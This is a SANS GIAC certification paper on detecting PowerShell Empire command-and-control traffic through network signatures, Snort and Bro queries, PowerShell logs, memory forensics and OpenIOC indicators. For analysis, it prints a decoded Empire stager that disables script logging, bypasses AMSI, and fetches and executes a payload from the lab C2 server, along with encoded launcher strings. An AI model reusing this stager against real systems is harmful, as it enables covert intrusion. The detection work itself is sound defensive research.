



Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Advanced Incident Response, Threat Hunting, and Digital Forensics (Forensics
at <http://www.giac.org/registration/gcfa>

Disrupting the Empire: Identifying PowerShell Empire Command and Control Activity

GIAC GCFA Gold Certification

Author: Michael C. Long II, michaelclongii@gmail.com

Advisor: Dave Hoelzer

Accepted: November 30th 2017

Abstract

Windows PowerShell has quickly become ubiquitous in enterprise networks. Threat actors are increasingly utilizing attack frameworks such as PowerShell Empire because of its robust APT-like capabilities, stealth, and flexibility. This research identifies specific artifacts, behaviors, and indicators of compromise that can be observed by network defenders in order to quickly identify PowerShell Empire command and control activity in the enterprise. By applying these techniques, defenders can dramatically reduce dwell time of adversaries utilizing PowerShell Empire.

1. Introduction

Threat actors, penetration testers, and red teamers are increasingly leveraging PowerShell to compromise enterprise networks. This is because PowerShell is an extremely powerful and robust command line interface that is present by default on all Windows versions 7 and up. PowerShell offers attackers full access to the .Net framework and the Win32 API, which grants attackers maximum flexibility and low-level control over Windows systems. PowerShell also allows attackers the ability to inject malicious code directly into memory without touching the hard disk (fileless malware), which renders many personal security products ineffective. Finally, PowerShell is typically whitelisted, as it is a perfectly legitimate Microsoft program (Kazanciyan & Hastings, 2014). Recently, many tools have been publicly released that leverage PowerShell, such as the popular attack framework, PowerShell Empire.

PowerShell Empire was created by Veris Group security practitioners Will Schroeder, Justin Warner, Matt Nelson and others in 2015. PowerShell Empire is a unique attack framework in that its capabilities and behaviors closely resemble those used by current nation state advanced persistent threat actors (Schroeder, & Warner, 2015). That is to say that Empire is effective at evading security solutions, operating in a covert manner, and enabling attackers' total control over compromised systems. Of particular note is Empire's command and control traffic. Empire C2 traffic is asynchronous, encrypted, and designed to blend in with normal network activity. These characteristics in particular make it exceptionally difficult for defenders to identify PowerShell Empire C2 traffic in the enterprise. As such, it is likely that Empire will only increase in popularity amongst attackers, particularly as the framework continues to evolve and mature.

With the Empire framework widely available to attackers everywhere, defenders must develop viable methods to identify and respond PowerShell Empire attacks. To support this effort, this research offers specific artifacts, behaviors, and indicators of compromise that can be observed by network defenders in order to efficiently identify PowerShell Empire C2 activity in the enterprise.

1.1. Empire C2 Terminology

Attackers must establish Command and Control (C2) over their targets before they can accomplish their objectives. Attackers using Empire establish C2 with targets by first configuring a **listener** on their attack platform/control server, and then by executing a **stager** on the victim system (figure 1). The listener receives and handles communications from victim systems, while the stager connects to the listener and establishes C2 between the victim and attacker (Kazanciyan & Hastings, 2014).




Figure 1. Empire C2 Concept Diagram

1.2. Research Methodology

For this research, a controlled lab environment was utilized to analyze PowerShell Empire C2 activity. The lab environment consisted of an attack platform running Kali Linux (10.10.10.5) and four Windows hosts networked in a small Active Directory domain (figure 2). Each host was fully patched and updated at the time of the research using Windows Updates. Additionally, each host utilized Windows Defender with real-time protection, cloud-delivered protection, and automatic sample submission enabled. Finally, the Windows firewall was active in its default configuration. It is important to note that at the time of this research, the aforementioned Windows security solutions failed to detect or prevent default Empire C2 payloads from executing in all test cases.




Figure 2. Empire C2 Lab Environment

To analyze Empire C2 activity, the author executed the Empire stager, “**multi/launcher**”, on each Windows system in an “assumed breach” scenario (that is, a user downloaded and executed a malicious file). The Empire multi/launcher stager is an Empire payload that consists of a PowerShell script that connects to the attacker’s control server, thus establishing attacker C2 over the victim system (see appendix A for the raw Empire stager script).

Empire offers attackers several other payloads to choose from such as malicious Microsoft Office macros, Windows DLLs, and HTML applications (HTA). The multi/launcher payload was selected because it forms the basis of the aforementioned payloads and can be used to develop intrusion detection methods that will also work on other Empire payloads.

Each Empire multi/launcher payload was configured identically. After infecting each host with the Empire mutli/launcher payload, the author researched specific behaviors, characteristics, and indicators of compromise (IoC’s) pertaining to Empire C2 activity.

The detection methods offered in this research emphasize accessibility by using open source tools, and scalability by offering methods that can be easily automated, scaled, and integrated throughout the enterprise. To that end, research and analysis efforts were divided into two areas of focus: network and host.

Network intrusion analysis was performed using network packet captures and network logs produced using industry standard tools including Wireshark, Bro, and Snort. Host intrusion analysis was performed by examining Windows Event logs and by analyzing memory dumps using Volatility and Redline. Additional tools were utilized including Process Monitor, Process Explorer, and TCPLogView, though they are not further referenced in this document.

1.3. Limitations and Warnings

This research found that the majority of observable Empire C2 IoC's are attacker driven. This means that attackers can easily alter Empire C2 characteristics, behaviors, and signatures in order to evade detection. As much as possible, defenders should avoid using attacker-driven signatures as the basis for their intrusion detection solutions because they can easily be rendered ineffective if the attacker alters the signatures (Holmes, 2017). The challenge defenders face is that very few Empire IoC's are static or constant. Given these limitations, defenders may have no choice but to tune their sensors to identify attacker driven signatures, or otherwise risk high false positive rates using broad or generic signatures. To that end, much of this research focuses on identifying default Empire deployments. This research will explicitly identify Empire signatures that are controlled/easily altered by attackers. Additionally, defenders will be shown how to chain IoC's observed in one area (for example host) to the other (network) in order to identify Empire C2 activity, despite the possibility of constantly changing signatures.

2. C2 Detection Framework

Identifying Empire C2 traffic is an inherently difficult task. Empire C2 traffic is designed to be both stealthy and secure. Empire accomplishes this by encrypting its communications, mirroring HTTP activity, and by making infrequent and jittered (slightly randomized) connections (Schroeder, & Warner, 2015). Given these challenges, it is helpful to utilize a framework that can enable defenders to effectively identify C2 activity. The author employs the “Command and Control Detection Framework” as part of daily intrusion detection/threat hunting activities (figure 3). In a broad sense, this framework offers general steps that can be followed to efficiently identify C2 activity, and then prepare for incident response procedures. The author will demonstrate throughout this research how each step of this framework can be applied to detect Empire C2 activity in the enterprise.




Figure 3. Command and Control Detection Framework

3. Network Intrusion Detection

Network intrusion detection is often an effective starting point for identifying Empire and other types of malicious C2 activity because network sensors offer broad insight into the state of the network. The point of this phase is to identify anomalies and events that may suggest or confirm compromise. This is done by analyzing data produced by sensors such as Snort IDS, Bro network events, and through netflow and/or packet analysis. In terms of Empire C2 activity, network intrusion detection is primarily used as a warning of compromise, not necessarily confirmation. Defenders then use this warning to pivot to focused host intrusion detection.

3.1. Identifying Network-based IoCs

Empire C2 beacons are designed to blend in with normal network activity. Empire accomplishes this by utilizing common ports (TCP 80, 443, etc.), encrypted communications, making infrequent connections, and requesting benign-looking URI's. Despite these characteristics, Empire C2 network activity still exhibits unique signatures, behaviors, and characteristics that can be identified by defenders. Characteristics including HTTP behavior, anomalous URIs, and network contradictions will be explored in depth in the sections that follow.

3.1.1. Anomalous URIs

By default, PS Empire HTTP Listeners are configured to continuously request three specific URI's (highlighted in red - figure 4). These URI's likely appear benign to non-discerning defenders; however, their combined presence strongly suggest Empire C2 activity, particularly when they are present at recurring intervals. While these URI's can be a helpful network signature, attackers can easily change the Empire C2 URI's. When that is the case, defenders will require additional data points beyond URIs to effectively identify Empire C2 activity.

No.	Time	Source	Destination	Protocol	Length	Info
...		10.10.10.20	10.10.10.5	HTTP	259	GET /login/process.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	516	POST /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	244	POST /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	259	GET /login/process.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	255	GET /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	250	GET /news.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	255	GET /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	259	GET /login/process.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	250	GET /news.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	255	GET /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	255	GET /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	250	GET /news.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	255	GET /admin/get.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	250	GET /news.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	259	GET /login/process.php HTTP/1.1
...		10.10.10.20	10.10.10.5	HTTP	250	GET /news.php HTTP/1.1

Figure 4. Empire Agent – Default URI's in Wireshark

3.1.2. HTTP Request Behavior

While Empire URI's can be easily changed, Empire C2 agents produce distinct HTTP GET and POST requests. For example, Empire C2 agents use HTTP GET requests to poll the Empire control server for taskings such as executing commands or uploading files. Empire C2 agents use HTTP POST requests to push data in response to taskings to the Empire control server (Crenshaw, 2015). These characteristics can be scrutinized against normal network activity baselines. For example, over time, Empire victims will likely exhibit an excessive number of HTTP connections and an anomalous volume of data being exchanged to a single IP address or domain name.

Defenders can also observe potentially anomalous behavior in the HTTP POST requests. Commonly, data sent over HTTP/TCP port 80 is unencrypted. If the attacker is using TCP port 80 for Empire's outbound communications, defenders will notice encrypted data being sent on a (typically) unencrypted port (figure 5). This information can tip a defender to perform focused intrusion detection on the subject host. This signature is less effective if the attacker is using Empire listeners on TCP port 443, as the activity will blend in with normal HTTPS activity. This instance requires the defender to scrutinize other data points for intrusion analysis.




Figure 5. HTTP Post Returning Encrypted Results to Empire C2 Server

3.1.3. Control Server Contradictions

Additional signatures can be found in the HTTP headers by following the TCP stream in Wireshark, as seen below (figure 6). Three indicators can be observed including a default client user agent string (1), server value (2), and server banner (3).




Figure 6. Empire Agent HTTP Request Session Details in Wireshark

The default Empire User Agent String describes a Windows 7 client running Internet Explorer 11 (operating system and web browser bolded for emphasis):

```
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
```

This can be a useful signature because the user agent string does not automatically match the victim system. For example, an infected Windows 10 system would be observed making HTTP requests with a user agent string identifying it as Windows 7 running Internet Explorer 11. This discrepancy can make for an effective indicator of compromise (until Empire developers include an “auto-detect user agent” logic in the Empire framework).

The default Empire web page offers defenders another useful signature. If a user were to examine `http://10.10.10.5/news.php` in a web browser, they would be served a default web page (figure 7). This web page is anomalous because the Empire C2 server claims to be running Microsoft IIS 7.5, yet it serves a default web page that resembles a lightweight Apache web server. If this were a default IIS server, it would serve a page such as the one shown on figure 8.




Figure 7. Default Web Page – Empire C2 Server




Figure 8. Default Web Page – Microsoft IIS 7.5

While this can be a useful signature, attackers can change the default web page to one that is better suited for their target environment, such as an intranet page.

Another contradiction can be observed because of Empire's claim that it is running Microsoft IIS 7.5. While the Empire C2 server claims to be running IIS 7.5, its time to live (TTL) value is 64 (figure 9 – red), which strongly suggests that the device is actually running a Linux kernel rather than Windows, which has a default TTL of 128 (Silby, 2014). The TTL in this case serves as a useful signature, as attackers are far less likely to recompile their Linux kernel in order to alter the default TTL. Alternatively, an attacker may choose to alter the server version to Apache or possibly run Empire from a Windows system, which would render this signature ineffective.

```

▶ Frame 8: 1205 bytes on wire (9640 bits), 1205 bytes captured (9640 bits) on interface 0
▶ Ethernet II, Src: Vmware_de:a5:37 (00:0c:29:de:a5:37), Dst: Vmware_21:5a:66 (00:0c:29:21:5a:66)
▼ Internet Protocol Version 4, Src: 10.10.10.5, Dst: 10.10.10.30
  0100 ... = Version: 4
  .... 0101 = Header Length: 20 bytes (5)
  ▶ Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
  Total Length: 1191
  Identification: 0xd481 (54401)
  ▶ Flags: 0x02 (Don't Fragment)
  Fragment offset: 0
  Time to live: 64
  Protocol: TCP (6)
  Header checksum: 0x3999 [validation disabled]
  [Header checksum status: Unverified]
  Source: 10.10.10.5
  Destination: 10.10.10.30
  [Source GeoIP: Unknown]
  [Destination GeoIP: Unknown]
▶ Transmission Control Protocol, Src Port: 80, Dst Port: 49214, Seq: 4398, Ack: 202, Len: 1151
▶ [3 Reassembled TCP Segments (5548 bytes): #6(17), #7(4380), #8(1151)]
▶ Hypertext Transfer Protocol

```

Figure 9. Empire C2 Server – TTL Discrepancy

3.2. Tuning Network Sensors

With knowledge of these IoCs, defenders can easily tune their network security solutions to automate detection of Empire C2 traffic. Defenders commonly use the open source network event aggregator, Bro, to capture network events in a space efficient format. The example below shows how defenders can use Bro log queries in order to rapidly identify default Empire C2 URIs (figure 10). The commands show a defender parsing Bro's http.log using bro-cut, and then grepping the output for Empire-associated URI's. The list is sorted and the defender receives a list identifying Empire victims (10.10.10.30), the control server (10.10.10.5), its listening port (80), and its URIs (/admin/get.php, etc.).

```

# bro-cut id.orig_h id.resp_h id.resp_p method uri < http.log | grep -e 'admin/get.php' -e '/login/process.php' -e 'news.php' | sort -u
10.10.10.30 10.10.10.5 80 GET /admin/get.php
10.10.10.30 10.10.10.5 80 GET /login/process.php
10.10.10.30 10.10.10.5 80 GET /news.php
10.10.10.30 10.10.10.5 80 POST /admin/get.php
10.10.10.30 10.10.10.5 80 POST /news.php

```

Figure 10. Bro Logs – Identifying Default Empire C2 Activity

In addition to querying Bro logs, Empire's IoCs can be identified by constructing a Snort rule (figure 11). This is particularly valuable because Snort IDS can fully automate detection and/or prevention of Empire C2 traffic in real time. The example below shows a snort rule identifying Empire C2 activity based on IoC's discussed up to this point.

Snort Rule:

```
alert tcp any any <> any 80 \  
(content:"<html><body><h1>It works!</h1><p>This is the default web page  
for this server.</p><p>The web server software is running but no  
content has been added, yet.</p></body></html>";\  
content:"Microsoft-IIS/7.5";\  
msg: "Possible Empire C2 activity!"; sid: 5000000;)
```

Snort Command Line Syntax:

```
$ snort -A console -K none -q -r empireC2.pcapng -c empireC2.rule  
12/10-00:25:10.304069  [**] [1:5000000:0] Possible Empire C2 activity  
Detected!! [**] [Priority: 0] {TCP} 10.10.10.5:80 -> 10.10.10.20:49208
```

Figure 11. Automating Detection with Snort IDS

While network sensors are powerful assets in any defenders arsenal, they are inherently at a disadvantage when it comes to detecting Empire C2 activity. This is because Empire allows attackers the ability to easily alter its network signatures in ways that blend in with normal/benign network activity. In these cases, defenders must incorporate additional data points and sensors in order to identify Empire C2 activity. Host-based intrusion detection capabilities such as log analysis and memory analysis can be highly effective in this scenario. These subjects will be explored in detail in the following sections.

4. Host Intrusion Detection

PowerShell Empire is effective at blending in with normal Windows processes. A cursory examination of the processes or network statistics of an Empire infected host will typically only show “powershell.exe” amongst other benign processes, making it difficult to discern between malicious or legitimate system activity. However, Empire still leaves behind significant indicators of compromise in select areas. Specifically, Windows Event Logs and memory dumps are two data sources that can offer definitive evidence of compromise, despite the strong possibility that attackers will continuously change Empire’s C2 signatures. This section will examine how defenders can efficiently analyze logs and memory to identify Empire C2 activity.

4.1. Windows Event Log Analysis

Windows event logs contain troves of information that defenders can use to rapidly identify Empire C2 activity. Depending on configuration, Windows event logs capture full transcripts of PowerShell usage, which details attacker activities in their entirety. Operating systems such as Windows 8, 10, and Server 2012 R2 collect verbose PowerShell logs by default. These logs will show what PowerShell commands were executed on a specific system, when, and from where (remotely or locally). The screenshot below shows the log entry that is created after an attacker executes an Empire C2 stager. The log captures the obfuscated stager script (1), its timestamp (2), and other pertinent information that defenders can use to identify and respond to compromise.

Figure 12. PowerShell Logging – Windows 8 with PowerShell 4.0

Note: These entries can be obtained in the Windows Event Viewer GUI under the following menus:

Event Viewer >> Applications and Services Logs >> Windows PowerShell

They can also be obtained/scripted via the command line using PowerShell:

```
PS C:\> Get-EventLog 'Windows PowerShell' | Format-List
```


Unfortunately, older Windows versions such as Windows 7 and Server 2008 running PowerShell 2.0 provide minimal log evidence of Empire C2 activity by default (Dunwoody, 2016). As depicted in the screenshot below, the Windows 7 event logs only show that PowerShell was executed; it does not show the full command line syntax observed in the previous example. These logs do not enable the defender to determine that an intrusion occurred without using additional data sources. For these reasons, network owners should consider upgrading to PowerShell 5.0 in order to take advantage of its robust logging features.




Figure 13. Minimal Log Entries in Windows 7 with PowerShell 2.0

If defenders successfully log a suspicious PowerShell script such as the one seen in figure 12, they can often be decoded with a base64 decoder and formatted using a C# “beautifier”. A de-obfuscated Empire stager payload is provided below (figure 14). Using the de-obfuscated script, defenders can easily identify Empire’s configuration settings, including the user agent string (1), the C2 server IP address (2), and the C2 URI (3). These indicators are highly effective because they reveal Empire’s exact configuration settings, regardless of any signatures the attacker altered beyond Empire’s default configuration. These signatures can then be used to tune the organization’s security solutions to automatically identify additional systems that may be compromised by the same Empire stager.

```

IF($PSVersionTABLE.PSVersion.MAJOR - GE 3) {
$GPS = [ref].Assemblies.GetType('System.Management.Automation.Utils').
"GetFile" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static').GetValue($NULL);
IF($GPS['ScriptB' + 'lockLogging']) {
$GPS['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
$GPS['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
ELSE {
[ScriptBlock].
"GetFile" ('signatures', 'N' + 'onPublic,Static').SetValUe($NULL, (New - Object Collections.Generic.HashSet($TrIng))
}[Ref].Assemblies.GetType('System.Management.Automation.AmsiUtils') | ? {
$
} | % {
$.GetFile('amsiInitFailed', 'NonPublic,Static').SetValUe($Null, $true)
};
};
[System.Net.ServicePointManager]::Expect100Continue = 0;
$WC = New - Object SYSTEM.NET.WebClient;
$su = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; (1)
$WC.Headers.Add('User-Agent', $su);
$WC.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$WC.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$Script: Proxy = $WC.Proxy;
$K = [System.Text.Encoding]::ASCII.GetBytes(':xW{9}~ey2GoV?SQt8>&Z#[Lr_M%jz-');
$R = {
$D,
$K = $Args;$S = 0..255;0..255 | % {
$J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256;$S[$_],
$S[$J] = $S[$J],
$S[$_]
};$D | % {
$I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I],
$S[$H] = $S[$H],
$S[$I];$_ - bxor$S(($S[$I] + $S[$H]) % 256)
}
};
$ser = 'http://10.10.10.5:80'; (2)
$t = '/admin/get.php'; (3)
$WC.Headers.Add("Cookie", "session=n0TNYxzLeZE40nTI3PjGdEgf4G4=");
$data = $WC.Download($ser + $t);
$iV = $data[0..3];
$dAtA = $data[4..$data.Length]; - join[CHAR[]](& $R $dAtA($iV + $K)) | IEX

```

Figure 14. Decoded PS Empire Payload

Beyond traditional Windows Event Logs, defenders can also enable PowerShell Transcription. Transcription creates a record of every PowerShell session, capturing all input and output as it appeared in the subject PowerShell session (Dunwoody, 2016). The screenshot below shows a complete transcript of the Empire C2 stager execution, including its timestamp, associated user, and even the cleartext syntax of the obfuscated stager script. This information is invaluable to defenders as it contains all of the information needed to effectively identify, scope, and respond to compromise.

```

PowerShell_transcript.MSEDGWIN10_VOzyoYH.20171223094222.txt - Notepad
File Edit Format View Help
*****
Windows PowerShell transcript start
Start time: 20171223094222
Username: MSEDGWIN10\IEUser
RunAs User: MSEDGWIN10\IEUser
Configuration Name:
Machine: MSEDGWIN10 (Microsoft Windows NT 10.0.16299.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAG8ATgBUAEAEAgBsAEUALgBQAFMAVgB1AFIAcwBpAG8ATgAuAE0
ZwAnAF0APQAUwA0ARQBsAHMARQ87AFsAUwBDAHIASQBWAHQAgBMAG8AQwBLAF0ALgA1AEcAZQB0AEYASQB1AGAAbABEACIAKAAnAHMAAQBNAG4AYQB0AHUAcgB1AHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQ
bABhAC8ANQAUADAIAAoAFcAaQBwAQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAsVwBPAFCAINgABADsAIABUAHIAAQBgB0AC8ANwAuADAoAwAgAHIAAdgAGAEAMQAUADAaAKQAAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQ
WwAKAF8AJQAKAEsALgBDAE8AdQB0AHQAXQApACUAMgA1ADYAOWAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQ9ACgAJAB7ACsAMQApACUAMgA1ADY
Process ID: 560
PSVersion: 5.1.16299.98
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.16299.98
BuildVersion: 10.0.16299.98
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
Command start time: 20171223094222
*****
PS>If ($PSVersionTable.PSVersion.Major -Ge 3){$GPS=[Ref].Assembly.GetType('System.Management.Automation.Utils').'GETFIe'ID"('cachedGroupPolicySettings', 'N'+onPublic,Static').G
etByTES(':x{9}~ey2GoV?SQt8>8Z#[[Lr_M%jz-');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[_]+$K[$_%$K.Count])%256;$S[_],$S[$J]=$S[$J],$S[_];$D|%{$I=(($I+1)%256);$H=($H+$S[$I]

```

Figure 15. Empire Activity Captured using PowerShell Transcription

As a best practice, defenders who use PowerShell transcription should write their transcripts to a remote, write-only network share, such that defenders can easily review the transcripts but attackers cannot easily delete them. Defenders may perform the following steps to enable transcription:

1. In the “**Windows PowerShell**” GPO settings, set “**Turn on PowerShell Transcription**” to **enabled**.
2. Check the “**include invocation headers**” box, in order to record a timestamp for each command executed.
3. Optionally, set a centralized transcript output directory

4.2. Memory Analysis

While logs can be invaluable sources of information, they can be wiped, lost, or simply be uncollected. In these cases, defenders may still identify Empire C2 activity by leveraging memory analysis. The author examined Empire C2 activity using two industry standard memory analysis tools: Redline and Volatility.

Beginning with Redline, examining system processes shows the same Empire stager script observed in the Windows event logs (figure 16). Notice the PowerShell launcher string, “**powershell -noP -sta -w 1 -enc**”. This launcher string is present by default in Empire HTTP listeners. While the launcher string can be easily changed, it is commonly unaltered by attackers, making it an effective signature. Additionally, the base64 encoded launcher script body can also be used as a signature, particularly in environments where administrators do not typically encode their scripts.

Process Information	
Process:	powershell.exe (2140)
Parent:	cmd.exe (280)
Path:	C:\Windows\System32\WindowsPowerShell\v1.0
Arguments:	powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAHIAcwbJAE8ATgBUAEEAQgBsAGUALgBQAFMAVgBFAHIAUwBJAG8AbgA AG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQaAQBsAHMAJwApAC4AlgBHAGUAVABG RwbIAFQAVgBBAGwAdQBFACgAJABuAHUAbABsACkAOwBJAGYAKAAkAEcAUABTAFsAJwBTAGMAcgE GUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBUAGcAJwBdAD0AMA7AC TABvAGcAZwBpAG4AZwAnAF0APQAwAH0ARQBsAFMARQB7AFsAUwBjAHIASQBQAFQAQgBsAG8AC AKAAkAG4AVQBsAGwALAAoAF4ARORXAC0ATwBCAGoA7ORBDAFOAIARDAg8ATABMAEIIACwBIIAEk
Start Time:	2017-11-29 16:41:39Z
Kernel Time Elapsed:	00:00:03
User Time Elapsed:	00:00:06
Hidden:	Not Available
User Information	
Username:	IE8Win7\IEUser
Security ID:	S-1-5-21-3463664321-2923530833-3546627382-1000
Security Type:	SidTypeUser

Figure 16. Empire Stager Execution – Memory Analysis with FireEye’s Redline

Defenders can use findings in Redline as a pivot to dig deeper into memory using tools such as Volatility. Volatility can potentially enable defenders to obtain a complete listing of all commands the attacker executed within his Empire session using the *consoles* plugin (figure 17):

```
# volatility -f Win8-MemDump.vmem --profile=Win81U1x86 consoles
```

```
-----
CommandHistory: 0x3d44c0 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x3a5c88
Cmd #0 at 0x423820: powershell -noP -sta -w 1 -enc S0BGACgAJABQAFMAVgBFahIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAVgBLAHIAUwBpAC
AWQAUAEcARQBUEAFQAWQBwAEUAKAAnAFMAeQBZAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBLAG4AdAAuAEEAdQB0AG8AbQBhAHQAAQBvAG4ALgBVAHQAAQBsAHMAJ
BLAHQADAbAg4AZwBzACcALAAAnAE4AJwArACcAbwBuFAAdQBIAgWAAQBJACwAUwB0AGEAdAbpAGMAJwApAC4ARwBFHQAVgBhAGwAVQBFACgAJABuAHUAbB9
F0AKQB7ACQARwBQAFMAWwAnAFMAyWByAGkAcAB0AEIAJwArACcAbAbvAGMAawBMAG8AZwBnAGkAbgBnACCAXQBbACCARQBUEAGEAYgBsAGUAWwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAAQBvAG4AT
JwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACCAXQBbACCARQBUEAGEAYgBsAGUAWwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAAQBvAG4AT
0AEYAaQBFAgAAbABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBLAHMAJwAsACcATgAnAcSAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACKALgBT
kATwBuAHMALgBHAGUAbgBLAFIAaQBDAc4ASABhAHMAaABTAEUAVABbAFMAdABSAGkAbgBnAF0AKQApAH0AWwBSAEUARgBdAC4AQQBzAHMARQBtAEIAbABZAC4
ABpAG8AbgAUAEAEAbQBzAGkAVQB0AGkAbABZACcAKQB8AD8AewAKAF8AF0B8ACUAEwAKAF8ALgBHAGUAdABGAGkARQBMAEQAKAAnAGEAbQBzAGkASQBwAGkAdAB
AFUAZQAOACQAbgB1AGwATAAsACQAdABYAFUARQApAH0A0wB9ADsAWwBTAHKAUwBUAGUAbQAUAE4AZQB0AC4AUwBFAHIAIdgBJAGMAZQBQAE8AaQB0AHQATQBBA8
AdwATAE8AYgBKAEUAYwBUACAAUwBZAFMAAdABLAG0ALgB0AGUAdAAUAFcAZQBCEAMAbABJAEUAbgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAUADA
AuADA0wAgAHIAIdgA6ADEAMQAUADAAKQAgAgwAAQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAdwBDAC4ASABLAGEARABLAHIAcWuAEEARABkACgAJwBVHMAZQB
C4AVwBF AEIAUgBLAHEAVQB LAHMAVABdADoA0gBEAGUAZgBBAHUAbAB0AFcAZQBIAFAAcgBvAHgAeQ0A7ACQAdwBjAC4AUABSAG8AeAB5AC4AQwByAGUARABFAE
aABFAF0A0gA6AEQAZQBGAEdQBzAHQATgBFHQAVwBPAFIAawBDIAHIArQBkAEUATgBUAEkAY0BMAHMA0wAKAFMAyWByAGkAcAB0ADoAUABYAG8AeAB5ACAAP
UAGcAXQAdA0AQQBTEMA5QBjAC4ARwBFQAFQAgBZAHQARQBtACgAJwA6AHgAVwB7ADKAf0B+AGUAEQAYAEcAbwBWAD8AUwBRAHQAOAA+ACYAWGajAF0AWwBMA
UANQA7ADAALgAUADIANQA1AHWAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABFAF0AKwAKAEsAWwAKAF8AJQAKAEsALgBDAE8AdQB0AFQAXQApACUAMgIADY
-----
```

Figure 17. Empire Stager Execution – Memory Analysis with Volatility

5. Automating Detection

At this point in the C2 detection framework, the defender has performed network and host-based intrusion detection. The defender has collected an assortment of IoCs, and may have begun tuning security sensors. However, the IoCs referenced up to this point have been examined in isolation; that is, they have not been organized in a holistic or easily distributable format. For maximum benefit, defenders should combine their pertinent IoCs into an industry standard format such as OpenIOC. OpenIOC is beneficial because tools such as FireEye’s Redline can simply import the OpenIOC file and scan a data source (such as memory) for events matching the IoCs. This process can effectively enable defenders to tune their security sensors and automate intrusion detection across the enterprise. The following diagram consolidates all of the observed Empire C2 IoC’s covered in this research into a distributable OpenIoC format:

Name:	"PowerShell Empire C2 Activity"	T.	R.
Author:	Michael C. Long II		
GUID:	c860ef9b-80d3-493f-8c76-eb684b2fce5c		
Created:	2018-01-17 13:34:28Z		
Modified:	2018-01-17 13:42:32Z		

Description:
This IoC that will detect default instances of PowerShell Empire command and control traffic.

Add: AND OR Item ▾

- OR
 - Process Name contains powershell.exe
 - Port Remote IP contains 10.10.10.5
 - Port Remote Port is 80
- AND
 - Process Arguments contains -noP -sta -w 1 -enc
- AND
 - OR
 - Network String URI contains /login/process.php
 - Network String URI contains /news.php
 - Network String URI contains /admin/get.php
 - AND
 - OR
 - Network String User Agent contains Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
 - Network String General contains Microsoft-IIS/7.5
 - Network String General contains It works! This is the default web page for this server. The web server is running but no content has been added, yet.

Figure 18. Empire C2 OpenIoC Signatures

At this point, the defender is armed with all of the indicators of compromise needed to effectively identify and scope additional intrusions throughout the enterprise. This information can be used as the basis for conducting a rapid and efficient incident response to return the network to its normal operating state, as well as reduce adversary dwell time.

6. Conclusion

This research examined many techniques that defenders can use to identify and respond to Empire C2 activity in the enterprise. This research showed that while Empire is effective at bypassing traditional signature-based security solutions, it still exhibits significant behaviors and artifacts that can be spotted by defenders. By using a repeatable methodology such as the C2 Detection Framework, defenders can rapidly identify and respond to compromise. This research also emphasized that defenders should not use any one security solution as their only means of detecting command and control traffic. When dealing with sophisticated threat actors, defenders must leverage multiple IoCs from both network and host sensors. The information gained from these sensors can then be used to create holistic signatures that can be used to tune security sensors, allowing defenders the ability to rapidly identify and scope compromise throughout their network. Ultimately, this research offers techniques to enable effective and efficient incident response procedures.

